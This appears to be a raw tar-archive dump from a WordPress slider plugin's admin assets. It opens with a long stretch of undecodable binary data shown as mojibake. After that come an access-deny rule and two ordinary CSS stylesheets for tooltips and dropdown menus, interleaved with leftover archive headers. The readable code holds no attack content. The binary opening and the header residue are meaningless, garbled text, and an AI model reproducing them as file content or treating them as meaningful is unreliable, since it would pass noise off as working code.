^UV_$N2K9sڲ-aN9AuqC};]f&O㙙9zv7L9- je +Od-Irk] %LbP! HX%Snc ZHkA=/Dq 7B͆qA,nIb3$K?2 A Ul/gh^Zؐw@A?tkCE[dEmKF+c VE9̌v4Po/ +BG-MeGS[ K:/7PC&ISdo8 gty+(y^ޣP;yMh|+ 綹lqËDXɩ;^7C~HbX^U!IWZUojG$@ě1z("q UnKdi_~:4;Y{Wdh0)Mq4X@\˳t=МI#7!rtye8,"C?L%|v5Oؠ] >d gtYFa*7"b(B:{7YF=X$.GkʼҚw`J"tDr˼JR޺N^Z=( {W`rZ9ce ENƺ74-/9|X-WȧHeQf^}IeX)4uGUDb}+M0ծL ѡ;XdiӖ7V A~$:\:n y)M5"Hk~],30.{7ϭ -|NhXbń0@ U"I3oEEozO٣:֒R:El 5[o@n/GvB8Pư5& slGP)m0SZ('i{P{lSm5Һ[COHiӑrvw쑼TVIu1 hr= ivv|T* [g8VBxt~c˯5Fyyt0Lx|IJ87Zv) ءvD*2# f@ )XobL˚Em(cZX&U1'F)h]ũi]1M*qa`oxΊ_l]Iy8䍄ӪJB@,"LH?=G|T{<԰l|zb6D*lM cގjWElFyJ&ĭe^ jk] |d]#3zpV5?zSz%~[$>w$lZRNkH.bymҠS}S- QHz9/怙s7&Yٗ4MD@`OTz59=PmbtZRrVxc RLg4X#0Ç&yty$QHAfvZh0Xq`]ewm:"0͂$iQ$b4k $ɌyHZ͒{#WUrڔ)CtʶwOAZF҄XYbƆYJ5&BNHI<8ܖ#;HtU'M(HfĻ*\F‚EKAaEEq3F+}nH A~ק^ Ym UUVǯ s9\o+>oF⠽%p3!]!ѓABŇ9f2*Ej2nʩhE/'Y朷%c 7[}MS;qhTeRo။_a2CP@$L v;Q7CV: MvI}cx/zH2QWdnpM^:uucH=[q؉&^?zvEi{:zit7O<@G00HdLcJ5y/f*GAu)YC&Si)S`g;שhJumW(O@lLjV[7&F"C iGmGco^֑g z~Y7}`ژK6v# UHvXkWY;/9Tv|_#RϳE#N*@< NDnч Ҏ@3y$k;鸘܃K1&Jӯ6 3Fjbaay(GʕY1ɋ#&?%26ViIZfI)KB&.mWg .ž()(%jusc,T &;4ܠ+X[P$j_T>k{ \66@F켩vV&R{Ga|vRMR3>u\\A;aS|8vO@1oء1LJ~)^7t< QS|)gXݪ}R٭@-5D9sLr(sce$oBU{S4CߛBta 0$1ٔ& ^C&Wۦ'O"k)ߕD;wiQG=aތQ:p rq{Wّ~{I#E#jWYJ I]Cu'_= nZ\t7yl,>e257\bsiqHwNY ST1aBiy-q@ /!lFZ]0Cڳx7AC€Wn9-mjbaZ@r p胹?Z*O~x9 9CSk>L\  ĿӜ( +1)d+4Gʎ wܳl!<2ZZ5V#&Q}GvFPeRSj<]|.NnN]F6 @>ɍӨYf0-RxyvzKXW2P$ST.0@K!6ӹM0\^WiJKN%^A9 Hx#*QlS6?3zQ ^Hiy_Oێp O\5<"W 5L|^YK[H7=R B|-,[X%w zER YrNW̱-*%׬/,!{\Dw?T| `,.ɞvq,T?΄^rLM>-"G!HC9W2mae! JN  ʽ qDN$ԧА@Wo'msnI+,$HSEIrpS e Ddkd$;I}SCbN VhJL &g!,(>b`"WSacnb.F=žzߦ6|}_'?iW}tk{\.[{ոɤ؟f]G\Ʀ 90|M' V)iy X]cv@e*'kV2eqFG{M>04Cfü*% tsTA4 wF!~}U/&ZiۼF{̚ "\ut-ɦeD 6'AJ/Q3.(O7RD domoKK+HtkD~m*r[d8L_?"{] GOE:,%U|\74|ò"|K@Ʉp.pi1/[_iFt-!MX]ME2&t-R>#%4}}d8׹HUw^l?ʔEU]D&U'Dw(m^$KуIB,$rbGN9炾vGi,O'it[ߺ#.pd%{Fp$Z {nb; 2 6"uT({W, wڵp(?oեْ~>X?N lq(;[+qeK1 >wr[!jX\RMTsf{Ƌ[[W {@K.fd (]<Q˘_ĉo9H֍L߷$p_*iDglHKVH `[A Mm!KsSd# Kn~Z ֣7 +^ojk/߼ |YV 6QŐnj̗Pj)!y@rv{V,dH-3+wM)s%¿7`H?AAH-ra\`}o CP<{2Lqd.=ءEع$eZڝcºS lә ĕҀ^`QBXM$D$=d* CKX!r{kW"d,|.JVU,!R泱]J_*t0P7+yډk%q]p2CRnT%zڇƏ0;ѶyF)>v$A"1JIR2s=5R6E$.-C;oQRʈ`a : &9`I`߶#Mhb)jyRu!c%k*so29Ы2ӎ%LHNuB#x0tJ 9zOAD11c-h@SyPqw=Hf~rX梟R¯P} KM;G"؅BMVʙڍÌY`DAh11`10 @".#v3@  ] o9>͏sZ UFL' @ðAHc |?goMJ91_jje&x4MY( >ܪΙCB/!`tXSzPIIM @-mnv;Aj,gBزm/%l.zWrc敧rpga3)3ea 5e(%rK6AgeK:HI$Fj*8s('=bЊ24d: jlK@ lR_B]қt áDW6*8b[mHja\ORR#'r?i>yN ƴA1ż@@lnH7i> UBq;NeDI0]j4ArPW&ٿu0vNPGZ{PQAG 8O }= 5QC? ۴qyh*%JC))Eﬠb) Mg0qTycW׌9g ~,KuG3^oG VH  )MmuL$ ժ- Cϔ{L<6n#ZR~B2 OY >.Ka!\KA+%]c*+mV :`|5rThg@b.ʪ\*/l^Dui[O= b1 g1Eek:vOzl:Vq0,39z{l )FJ,b>U7pz<.ͣ/w ea1j:|/'[`HiX24d.8y/K("0pأXF^٪6%宜 /=n3 >3ڇ 0)OdG>Y9@)24e?yhA`)$Vc@+ (YvA1v@®:v#c (]'ϑFǕ˿J$3,Ys5tdeHkwc^r?"i7N4RYm]sz%"f/%_r*9 ⫝t[+Dܴ0&j[>9~7F4.yCuk(auB?Ѳz,u/y|bmKY5m^l)?TXnkM-+# 24e?Ä3(E͎d)#"24e?Ä3(E͎d)!A*1vA1$ OLG"F24e?Ä3(E͎̠"H24e?Ä3(E͎̠AP1ż@®1"l24e?Ä3(E͎̠"n24e?Ä3(E͎̠Av1vA1$ĉ$1"24e?Ä3(E̡͎"24e?Ä3(E̡͎ A1_"24e?Ä3(E͎̠e~g'qjoNR:3BmÐP#OTPs2tڠQ^:lDfo"DBVLz*L1RO.y^gh3--'$ PE ye7 C.sS^VoԽvu)[7GiEOvc48&\XCgQnnI^+ ER>4,dFA7:$OL46<G\CyatΪ-$$i;bek:PO{Sf!bX0Q &PYd/8]+sKoL-q,m&pq9,.O-Gm#6w?qh.o3 GQ9RdMYZ!H;.p`;PI\_U)BuOމŲF3YѣU)lK/3 u$-=8)r֐ %~Yapamwa w 4S0)ۑPI/? 8]>ypEX.evQ:*uhUUF6HW i[fbjz>>iHoPwQqdx '~W BB,P;AN m;6SENc`8PFVcņ1^*i w &X:1[/xŠU M\ XbQR_y|g|4D(aAP7#xVk1WQ@Aq&'Z2lߠ{ˆ\<SiE6Ƨe7( j'SZ>4Nc u=~ pK^}xxu) p7&_?mj"ћJl&Jvs# /YRܦa$ h];:JPnyiO(R3ˬnñ@SqG:aN$> 1-<1 赀=(~/8/7&顀ճF`; c쾝d'2SyHN8nd8ŀaM}O,!IhմClba2љh@+mϔES9f.pK<=YP"F|soSf "AFRo"h3?@/3ai㈼1U[mBwgxh~p1Jۿ_q$AĂBIRDE{ `S> Rn&dL\DF$[r"W"PHCbW%\nKR -!_ JgpoWjAfݺuod4ހaߪR8٧5_1sNplR~kH.*?wEXv|q9hmLIVCㄹ樘~**;6vUu>80aWoTU3dst1I'Af$J23!*fo!geu+@ t*EzEbd,P+lErTиIw2< Nrl7e=@Hk!ʬE'F+ m@10ʛ03g g/bќzlq鎨 *j<ɾM5BE5<bmcsGdJ##"IFG{<\"Fy.gL ntܸT m|zi:1 ( /8ͤ.Ncm >f"b.t ;5Y X(H<]-~*9,辉u$t)ɱQ,jg38 `\JZ4so`ZH4qCO>vl!wr}K# 1Lܞ"r Qj7L ?0JlP-@ё$uxfm`|6k+80"ߩ'bv=;ا$}heHKQ qXɐjht 7 ]APL6/l,Zdrk&ƚN%-,Ď ;, 7+k-G,R!N}Î]2*nDRX'Z`u+n=Aw54fF{ <[}9.'Gs*^h kDv0dtUOh:W#*&c v"e0.;n*N<<]d&@%0$enNdW.9PqT< 'yfvb"Q;]l vSR$c:G)H x_1%ֳ Y8J lMP^5{Ҋ?Y_ٿ NT-Hm:8u謤brcyx|&ִc՗@ɀ Vp=\KaoodEAjI$t˔ wX0W-+hiHxnHSл?A_T`ԝT15HpX <  xͧDP Va#3u,~6pw a I9wːX~^,o (7TP.Tr| ; U*Z6fdW/y:9 &35NskN%[.TˏoE.GVZӮF!xm",d+MQȯPU0X~(NERA9 t ,-{`~to;6: =mtHyB6eNFI7&CմutX)Rd_O%w8JtWL%VrȨ9:kskc]#)i\'&<7j㮂@>~"%],>dvpcvxBS4YxIń 7&du7\q =ujlZ4;` E3$Dd@3Bþ2T6z9,WQǖ{[|-+j_͙HWZBJBq%Yl,p.[(`ݥt2Xumy<#[_A#44_ثĮ|UOtx-Z-ߪRT$=^M={oo)@X?x,W+C(kiD9/yܜK柵@ mUד~3B~f.?@~r:meAи{$"TI ZAN(hS\D6M!Eh꣧t$#[

    1S|ha*J'hJ #ܼⵣ>Eȷڰ6ܩ?ᷰ#vy .+Mc>q)_5Qút9 A0R=%`Cp8 ԣy|?gUo}B*BsZ%~&fmYQwyxp\V (8-RDHL[P;JR@lܙVhάzXX` &?eQ{I/PAaՐ|aͮ@Abpm~ؐbO&%xAÉT h*"ҩY[D8OZ9ᲄvjs?hC+EܸuP*ӭpQ>0\݈#n('f 5Y*0hV0s.r*u(.TҾ'L,u}NwJif* Nyj1y^dkӲb6IrxB#ϸ]*6BIj}+8=-7*q6~[9{xUboq=$_D O dT>fo!AL11{BQMS #h O dT>foj O dT>foAr11 f@  O dT>fo O dT>foA11{B@  O dT>fo O dT>foA11 f@ ڊ O dT>fo܊ O dT>foA11{B@  O dT>fo O dT>foA11 f@  O dT>fo O dT>foA1;^jp#Lڀ, O dT>fo. O dT>foA61;^0p#LڀR O dT>foT O dT>fo AZ1_x O dT>foeG}/J OR_X8I$/őq|G:[!" ,B-xPNNړ<.9SbC??7e7.~ ڀ\yUA?xm-/$\x8|"1%vٍJk5! %>- i_LRM"4% :^!;$e6;EE.ô}] =xiX>X׷_PJS49*)pn%6RA랮7Zje\2SY 9ˢv}m&LubaEHBW$KUqĊk'='Yod‚@l`&[qϤNՑ))`W;/JTdG(|Y5Wxuqv}!Bث/;t Mc Ky ,g7Lmb+.H<ؒWXjxv!ZWYRkZ"QYDMo+(*@,R'.ckSd? xRKhُ` =s9<10 bS7nY{bކrǤF{VFvHJ)^BQ- i`4 /}%ϵ:|{EMq z)g^=6< –+j$N@S8Fa~ DE.t͒9>F"?xMfi@6|~KfZ/\: ^Qc;LJ+ 2 &Ɋ5wcE(d}t ޔ}%3% %@(ܐ2B{1,Wt@&=}k=ZԻ5I& @/r)nޕ>~ӑlHGU)b?R|lt!#&5v$nesqFmԖh\եM]F_'@v\x<M-XBqQYPG"ALT۝v5v"ħC1b3YNxp$inNcA<`{( ޫY F7uFdC1G"oPUB5{Qp!R-U(:FqvcyZfc0b%bieDy`MZ>uWH-b_{*h&e49׃6FQ%R(l]TuMҍlt&aEQ+Aΰ0!'[. @]wk 4 3V]H8Hۙ[ƿ#G]ۻU! #iwsqnUO7hd8!D4p>KK<4nO,5 V)ogS2nX0Lo$K[KGLRM;w۶~L9-z+H@從š|UJxK3D9Wy;^r}h|- Y>guDqw^ChhP"2њVFD“[6%(>S](ݘkAlk DYW5z$eje i!dujyY1a>8s呑/JY!P0GpU. TÊVz.,zTp|)il=Y|RcrA4B=V'6`I]Ey)gydFV$/*XRrivoSyC[<6 $s"G.:fV/ :{DYEQpȑ "*z_ i7G~oKjѪb4yu@1d&^HϸCVC Mk^lZ~|h^fͅ2jPc ̖ Ν1|`4xIoszmFE t0#y،LQ6_Wrjbe"YϒjJq-mگ.P3ig[129iheoB]Ɓ>fqߥ2PG*!])-%Ɣi?{{̄ ckfBPQTBvs7|0s cYY"|ci:Y{J;#nS>R0y/d)q2jpҩ5CIZX5̡7]wzil8f`L=}{;C2(Q.okYwo1mmԧ|8%1f*wR2}ʒ pЧHyYnݺWʩ3#Zd 0| b*#.uTРKvȊe}<7G&v`f&SCkf=s!g{2 b1!9SS,D2nc7tǥxiUʹФ""%Oa $J !(oҧCZ1 IQvqq>ʽ?x4=pʦ!Ub}{x/GQ,b IatMKt%JE3w -ɥE6) 8d3ۥn<x%Jg^>VDD x>i8= ,b="{"Xݶ矬 O~gcoZu6"p8T[m[,H__qpUhlKjFcdʠ=1W<^e^d U6`܊r#KN,`/;8x@! :.T6 ^ҼZ(hAU ;ݩ20~>"Sm'M]Qm*ePۡҷ֌LObzqKE mR羯\ln*zbuh_wwp bS'w~~twe@@Xoh^EU]5@$d)_+;Bey棅"qdb`N1ZgA-M+) o49%)ZxRiDB?PCCRZ`dwv]0GK6*d~ b]T'qC{E-9G,M6uļ,<(Cc@QT`˴4=2ʔl5x0ҨɠlM 7#~g*\!s h1ôqI' 3]?ب.Gu}`{08^0-"A/O w`e4L&ae-^@vH7Z8C+rQ (F󯴭lvy d*(RcO\0nj9a |X5Z8]&A-5@;p~S=ywI3f#:LK c:#WM@h hFw>\'xp ԓ/~l8#%)0k"zȄ9+%̱!nϡ8 f$F57V "Ԯن+<Mz>Zy .[5iܑhnWboO&S32marzR,:)Ux LHrQK洖5ڌc9:RSon<ϛ@~6-2dy QOx Mֈ}_38u9)I֋C6d^xTGaov-[}N)vbW>%+| fXŇjY' # a\?be+/+ݹqFt4j[lo^D"*F5RLIA5bU P_ìQzB WzY(\q`-Be$]mQH^;XŸ$c%= G~+M3x 2s "%"9pܝZi,KD n9]  ea'H$zfh0RS.Q1'IL{#H^]R?-/99$=]@oL\q$7(@aKSv `CR`O׋ʅ茺5hgW<MHMbY} v?WH)I:;mER-G&ۜUS]!5:ˁ}Yȹ5cOn*xփъ-c\Ƃ)ڄ>ebj4gAյ =T9 sgRm;[zO5T]D£2Ŋ'WizC0 ͸p.kW2r3' >ߕETL+Sy p>=T|MɽFo?~:%*=v ݾˡ Order allow,deny Deny from all admin/assets/css/tooltip.css000060400000024361151724235750012147 0ustar00#rs-tooltip { display: none; position: absolute; z-index: 99999999; font-family: "Roboto"; font-size: 15px; width: 270px; background-color: #006dd2; color: #FFF; top: 0; left: 0; } .rb-tooltips-active #rb_modal_underlay { opacity: 0.5 !important; display: block !important; z-index: 999999 !important; } .rb-tooltips-active #rs-tooltip { display: block; } #rs-tooltip-gotit {display: none;} #rs-tooltip.tooltip-gotit #rs-tooltip-next {display: none;} #rs-tooltip.tooltip-gotit #rs-tooltip-gotit {display: inline-block;} #rs-tooltip:before { content: ""; position: absolute; } #rs-tooltip.tip-bottom:before { top: -10px; left: 50%; margin-left: -7px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-bottom: 10px solid #006dd2; } #rs-tooltip.tip-bottom-left:before { top: -10px; left: 100%; margin-left: -46px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-bottom: 10px solid #006dd2; } #rs-tooltip.tip-bottom-right:before { top: -10px; left: 0; margin-left: 46px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-bottom: 10px solid #006dd2; } #rs-tooltip.tip-top:before { bottom: -10px; left: 50%; margin-left: -7px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-top: 10px solid #0051b2; } #rs-tooltip.tip-right:before { left: -10px; top: 50%; margin-top: -7px; border-top: 10px solid transparent; border-bottom: 10px solid transparent; border-right: 10px solid #006dd2; } #rs-tooltip.tip-top-right:before { left: -10px; top: 10px; border-top: 10px solid transparent; border-bottom: 10px solid transparent; border-right: 10px solid #006dd2; } #rs-tooltip.tip-top-left:before { right: -10px; top: 10px; border-top: 10px solid transparent; border-bottom: 10px solid transparent; border-left: 10px solid #006dd2; } #rs-tooltip.tip-left:before { right: -10px; top: 50%; margin-top: -7px; border-top: 10px solid transparent; border-bottom: 10px solid transparent; border-left: 10px solid #006dd2; } #rs-tooltip.tip-right-top:before { bottom: -10px; right: 20px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-top: 10px solid #0051b2; } #rs-tooltip-top { padding: 26px 30px 30px 30px; } #rs-tooltip-bottom { position: relative; padding: 0 30px; height: 40px; background-color: #0051b2; font-size: 13px; } #rs-tooltip-bottom div { position: absolute; top: 8px; left: 30px; } .rs-tooltip-text { display: block; line-height: 20px; } .rs-tooltip-btn { display: inline-block; background-color: #1a7cd7; padding: 9px 19px 7px 19px; line-height: 15px; border-radius: 3px; cursor: pointer; transition: opacity 0.2s ease; margin-top: 25px; margin-right: 10px; transition: filter 0.3s ease-in-out; } .rs-tooltip-btn:hover { filter: brightness(110%); } .rs-tooltip-check { display: inline-block; width: 15px; height: 15px; border: 1px solid rgba(255, 255, 255, 0.35); border-radius: 2px; margin-right: 10px; position: relative; top: 4px; cursor: pointer; transition: border 0.3s ease-in-out; } .rs-tooltip-check:hover { border: 1px solid rgba(255, 255, 255, 0.75); } .rs-tooltip-btn i { font-size: 17px; margin-right: 10px; } .tip-clone { transform: none !important; margin: 0 !important; position: absolute !important; pointer-events: none !important; z-index: 9999999 !important; } .tip-focussed { box-shadow: 0 0 20px 5px #006dd2 !important; } .tooltip-hide-target { visibility: hidden !important; } .tooltip-section { display: none; font-family: monospace; font-size: 12px; margin-bottom: 20px; } .toolbar_btn.tip-hover .add_layer, .toolbar_btn.tip-hover .lockstep_main, .toolbar_btn.tip-hover .visiblestep_main {position: relative !important} .toolbar_btn.tip-hover .tool_dd_wrap { display: block; min-width: 100%;} .toolbar_btn.tip-hover { color: #fff} .toolbar_btn.tip-hover-text .add_layer[data-type="text"], .toolbar_btn.tip-hover-image .add_layer[data-type="image"], .toolbar_btn.tip-hover-video .add_layer[data-type="video"], .toolbar_btn.tip-hover-audio #toolbar_add_layer_audio, .toolbar_btn.tip-hover-shape #toolbar_add_layer_shape, .toolbar_btn.tip-hover-button #toolbar_add_layer_button, .toolbar_btn.tip-hover-object #toolbar_add_layer_object, .toolbar_btn.tip-hover-row #toolbar_add_layer_row, .toolbar_btn.tip-hover-group #toolbar_add_layer_group, .toolbar_btn.tip-hover-layerlibrary #add_from_layerlibrary, .toolbar_btn.tip-hover-importlayer #import_layers, .toolbar_btn.tip-hover-duplicate #do_duplicate_layer, .toolbar_btn.tip-hover-copy #do_copy_layer, .toolbar_btn.tip-hover-paste #do_paste_layer, .toolbar_btn.tip-hover-lock #toggle_lock_layer, .toolbar_btn.tip-hover-unlock #unlock_all_layer, .toolbar_btn.tip-hover-setallvisible #visible_all_layer, .toolbar_btn.tip-hover-showhide #toggle_visible_layer, .toolbar_btn.tip-hover-highlightboxes #hide_highlight_boxes, .toolbar_btn.tip-hover:not(.tip-hover-staticlayers) #newslide, .toolbar_btn.tip-hover-staticlayers .do_not_sort_slide_list_element {background: #3f444a !important; z-index: 99999} .toolbar_btn.tip-hover:not(.tip-hover-slideorder) #newslide:after, .toolbar_btn.tip-hover-staticlayers .do_not_sort_slide_list_element:after, .toolbar_btn.tip-hover-slideorder .slide_list_element.selected:after, .tip-hover-text #toolbar_add_layer_text:after, .tip-hover-image #toolbar_add_layer_image:after, .tip-hover-button #toolbar_add_layer_button:after, .tip-hover-shape #toolbar_add_layer_shape:after, .tip-hover-video #toolbar_add_layer_video:after, .tip-hover-audio #toolbar_add_layer_audio:after, .tip-hover-object #toolbar_add_layer_object:after, .tip-hover-row #toolbar_add_layer_row:after, .tip-hover-group #toolbar_add_layer_group:after, .tip-hover-layerlibrary #add_from_layerlibrary:after, .tip-hover-importlayer #import_layers:after, .tip-hover-lock #toggle_lock_layer:after, .tip-hover-unlock #unlock_all_layer:after, .tip-hover-setallvisible #visible_all_layer:after, .tip-hover-showhide #toggle_visible_layer:after, .tip-hover-highlightboxes #hide_highlight_boxes:after, .layertoolbar_wrap .toolbar_btn.tip-hover-duplicate #do_duplicate_layer:after, .layertoolbar_wrap .toolbar_btn.tip-hover-copy #do_copy_layer:after, .layertoolbar_wrap .toolbar_btn.tip-hover-paste #do_paste_layer:after { position: absolute; bottom: -5px; left: 65%; margin-left: 10px; width: 17px; height: 22px; background: url(../images/hand.png) no-repeat center center; content: ""; z-index: 99999; } .toolbar_btn.tip-hover-slideorder .slide_list_element.selected:after { width: 18px; height: 18px; background: url(../images/move.png) no-repeat center center; background-size: 18px 18px; bottom: 3px; } .toolbar_btn.tip-hover-staticlayers #newslide:after {display: none} .rb-tooltips-active .do_title_layer_icon, .rb-tooltips-active .do_title_slide_icon { color: #006dd2; font-size: 17px; margin-right: 10px; line-height: 51px !important; } .rb-tooltips-active .form_collector .form_inner { display: block !important; padding: 0px; position: relative; margin-bottom: 1px; } .rb-tooltips-active .form_inner { background: #323438; } .rb-tooltips-active .form_collector .form_inner .collapsable { padding: 20px; display: none; position: relative; } .rb-tooltips-active .tponoffwrap.off .tponoff_inner, .rb-tooltips-active .tponoffwrap.off .tponoff_inner, .rb-tooltips-active .tponoffwrap.off .tponoff_inner { transform: translateX(0px); } .rb-tooltips-active .formcontainer, .rb-tooltips-active .formcontainer { width: 320px; } .rb-tooltips-active .form_collector, .rb-tooltips-active .formcontainer { width: 320px; } .rb-tooltips-active .form_collector .form_menu_level_1 { display: none !important; } .rb-tooltips-active .showhide_hidden, .rb-tooltips-active .showhide_hidden.form_inner, .rb-tooltips-active .form_collector .showhide_hidden.form_inner { display: none !important; } .rb-tooltips-active .form_collector .form_inner.open .collapsable { display: block; } .rb-tooltips-active .form_collector .form_inner .collapsable { display: none; } .rb-tooltips-active .form_collector .collapsable { position: relative; } .rb-tooltips-active .tip-clone .collapsable { padding: 20px; } .rb-tooltips-active .tooltip-save-preview { z-index: 9999999 !important; pointer-events: none !important; } .rb-tooltips-active .tooltip-save-preview:after { background-color: rgb(50, 52, 56, 0.5); width: 160px; height: 50px; position: absolute; top: 0; left: 0; content: ""; } .rb-tooltip-timeline .basic_action_button { background: transparent; border: none; border-radius: 0px; width: 30px; text-align: center; height: 35px; line-height: 35px; text-align: center; color: #777c80; text-transform: uppercase; font-weight: 400; font-size: 12px; box-sizing: border-box; margin: 0px; padding: 0px; } .rb-tooltip-timeline .basic_action_button i { font-size: 20px; margin: 0px; } .tooltip-hide-preview-save .tooltip-save-preview { display: none !important; } .rb-tooltips-active .layertoolbar_wrap .toolbar_btn i.material-icons.norightmargin { margin-right: 0px !important; } .rb-tooltips-active #rb_tlw > #do_delete_layer.toolbar_btn .material-icons { margin-right: 0 !important; } .tooltip-link { display: none; } .rb-tooltips-active #rb_tlw > .tip-clone longoption { width: 280px !important; } #rs-tooltip-next {position: relative; padding-right: 50px} #rs-tooltip-close {position: absolute; top: 0; right: 0; width: 30px; height: 30px; cursor: pointer; color: #FFF; z-index: 99} #rs-tooltip-close i {position: absolute; top: 7px; left: 7px; font-size: 16px} #rs-tooltip-close:hover {opacity: 0.4} .rs-tooltip-return-icon { width: 16px; height: 16px; display: inline-block; background-size: 16px 16px; background-image: url(../images/return.png); background-repeat: no-repeat; position: absolute; right: 7px; top: 7px; } body.rtl .rs-tooltip-btn i { margin-left: 10px; margin-right: 0px } body.rtl .rs-tooltip-check { margin-left: 10px; margin-right: 0px } admin/assets/css/ddTP.css000060400000047741151724235750011317 0ustar00 .ddTP_hidden {border: 0 !important;clip: rect(0 0 0 0) !important;height: 1px !important;margin: -1px !important;overflow: hidden !important;padding: 0 !important;position: absolute !important;width: 1px !important; } .ddTP_C {box-sizing: border-box;display: inline-block;margin: 0;position: relative;vertical-align: middle; } .ddTP_C .ddTP_S--single {box-sizing: border-box;cursor: pointer;display: block;height: 25px;user-select: none;-webkit-user-select: none; } .ddTP_C .ddTP_S--single .ddTP_S__rendered {display: block;padding-left: 0px;padding-right: 0px;overflow: hidden;text-overflow: ellipsis;white-space: nowrap; } .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__rendered {padding-right: 8px;padding-left: 20px;} .ddTP_C .ddTP_S--multiple .ddTP_S__choice.isplaceholder {color: #b7bbc0;font-size: 13px;background: transparent;margin-top: 5px;} .ddTP_C--open { z-index: 100010} li.ddTP_RO { margin-bottom: 1px; } .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { min-width: 25px } .ddTP_C .ddTP_S--single .ddTP_S__clear {position: relative; } .ddTP_C .ddTP_S--multiple {box-sizing: border-box;cursor: pointer;display: block;min-height: 32px;user-select: none;-webkit-user-select: none; } .ddTP_C .ddTP_S--multiple .ddTP_S__rendered {display: inline-block;overflow: hidden;padding-left: 8px;text-overflow: ellipsis;white-space: nowrap; } .ddTP_C .ddTP_SCH--inline {float: left; } .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field {box-sizing: border-box;border: none;font-size: 100%;padding: 0; } .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field::-webkit-search-cancel-button {-webkit-appearance: none; } .ddTP-dropdown {background-color: white;border: none;border-radius: 0px;box-sizing: border-box;display: block;position: absolute;left: -100000px;width: 100%;z-index: 1052;box-shadow: 0px 0px 10px 3px rgba(0,0,0,0.2);} .ddTP_R {display: block; } .ddTP_ROs {list-style: none;margin: 0;padding: 0; } .ddTP_RO {padding: 6px;user-select: none;-webkit-user-select: none; } .ddTP_RO[aria-selected] {cursor: pointer; margin-bottom: 1px;} .ddTP_C--open .ddTP-dropdown {left: 0; } .ddTP_C--open .ddTP-dropdown--above {border-bottom: none;border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .ddTP_C--open .ddTP-dropdown--below {border-top: none;border-top-left-radius: 0;border-top-right-radius: 0; } .ddTP_SCH--dropdown {display: block;padding: 0px; } .ddTP_SCH--dropdown .ddTP_SCH__field {padding: 4px;width: 100%;box-sizing: border-box; } .ddTP_SCH--dropdown .ddTP_SCH__field::-webkit-search-cancel-button {-webkit-appearance: none; } .ddTP_SCH--dropdown.ddTP_SCH--hide {display: none; } .ddTP-close-mask {border: 0;margin: 0;padding: 0;display: block;position: fixed;left: 0;top: 0;min-height: 100%;min-width: 100%;height: auto;width: auto;opacity: 0;z-index: 99;background-color: #fff;filter: alpha(opacity=0); } .ddTP-hidden-accessible {border: 0 !important;clip: rect(0 0 0 0) !important;height: 1px !important;margin: -1px !important;overflow: hidden !important;padding: 0 !important;position: absolute !important;width: 1px !important; } .ddTP_C .ddTP_S--single {background-color: #fff;border: 1px solid #aaa;border-radius: 0px; } .ddTP_C .ddTP_S--single .ddTP_S__rendered {color: #444;line-height:25px; } .ddTP_C .ddTP_S--single .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; } .ddTP_C .ddTP_S--single .ddTP_S__placeholder {color: #999; } .ddTP_C .ddTP_S--single .ddTP_S__arrow {height: 25px;position: absolute;top: 1px;right: 1px;width: 20px; } .ddTP_C .ddTP_S--single .ddTP_S__arrow b {border-color: #888 transparent transparent transparent;border-style: solid;border-width: 5px 4px 0 4px;height: 0;left: 50%;margin-left: -4px;margin-top: -2px;position: absolute;top: 50%;width: 0; } .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__clear {float: left; } .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__arrow {left: 1px;right: auto; } .ddTP_C.ddTP_C--disabled .ddTP_S--single {background-color: #eee;cursor: default; } .ddTP_C.ddTP_C--disabled .ddTP_S--single .ddTP_S__clear {display: none; } .ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b {border-color: transparent transparent #888 transparent;border-width: 0 4px 5px 4px; } .ddTP_C .ddTP_S--multiple {background-color: white;border: 1px solid #aaa;border-radius: 0px;cursor: text; } .ddTP_C .ddTP_S--multiple .ddTP_S__rendered {box-sizing: border-box;list-style: none;margin: 0;padding: 0 5px;width: 100%; } .ddTP_C .ddTP_S--multiple .ddTP_S__rendered li {list-style: none; } .ddTP_C .ddTP_S--multiple .ddTP_S__placeholder {color: #999;margin-top: 5px;float: left; } .ddTP_C .ddTP_S--multiple .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold;margin-top: 5px;margin-right: 10px; } .ddTP_C .ddTP_S--multiple .ddTP_S__choice {background-color: #e4e4e4;border: 1px solid #aaa;border-radius: 0px;cursor: default;float: left;margin-right: 5px;margin-top: 5px;padding: 0 5px; } .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove {color: #999;cursor: pointer;display: inline-block;font-weight: bold;margin-right: 2px; } .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove:hover {color: #333; } .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice, .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__placeholder, .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_SCH--inline {float: right; } .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice {margin-left: 5px;margin-right: auto; } .ddTP_C[dir="rtl"] .ddTP_S--multiple .ddTP_S__choice__remove {margin-left: 2px;margin-right: auto; } .ddTP_C.ddTP_C--focus .ddTP_S--multiple {border: solid black 1px;outline: 0; } .ddTP_C.ddTP_C--disabled .ddTP_S--multiple {background-color: #eee;cursor: default; } .ddTP_C.ddTP_C--disabled .ddTP_S__choice__remove {display: none; } .ddTP_C.ddTP_C--open.ddTP_C--above .ddTP_S--single, .ddTP_C.ddTP_C--open.ddTP_C--above .ddTP_S--multiple {border-top-left-radius: 0;border-top-right-radius: 0; } .ddTP_C.ddTP_C--open.ddTP_C--below .ddTP_S--single, .ddTP_C.ddTP_C--open.ddTP_C--below .ddTP_S--multiple {border-bottom-left-radius: 0;border-bottom-right-radius: 0; } .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field {border: 1px solid #aaa; } .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field {background: transparent;border: none;outline: 0;box-shadow: none;-webkit-appearance: textfield; } .ddTP_C .ddTP_R 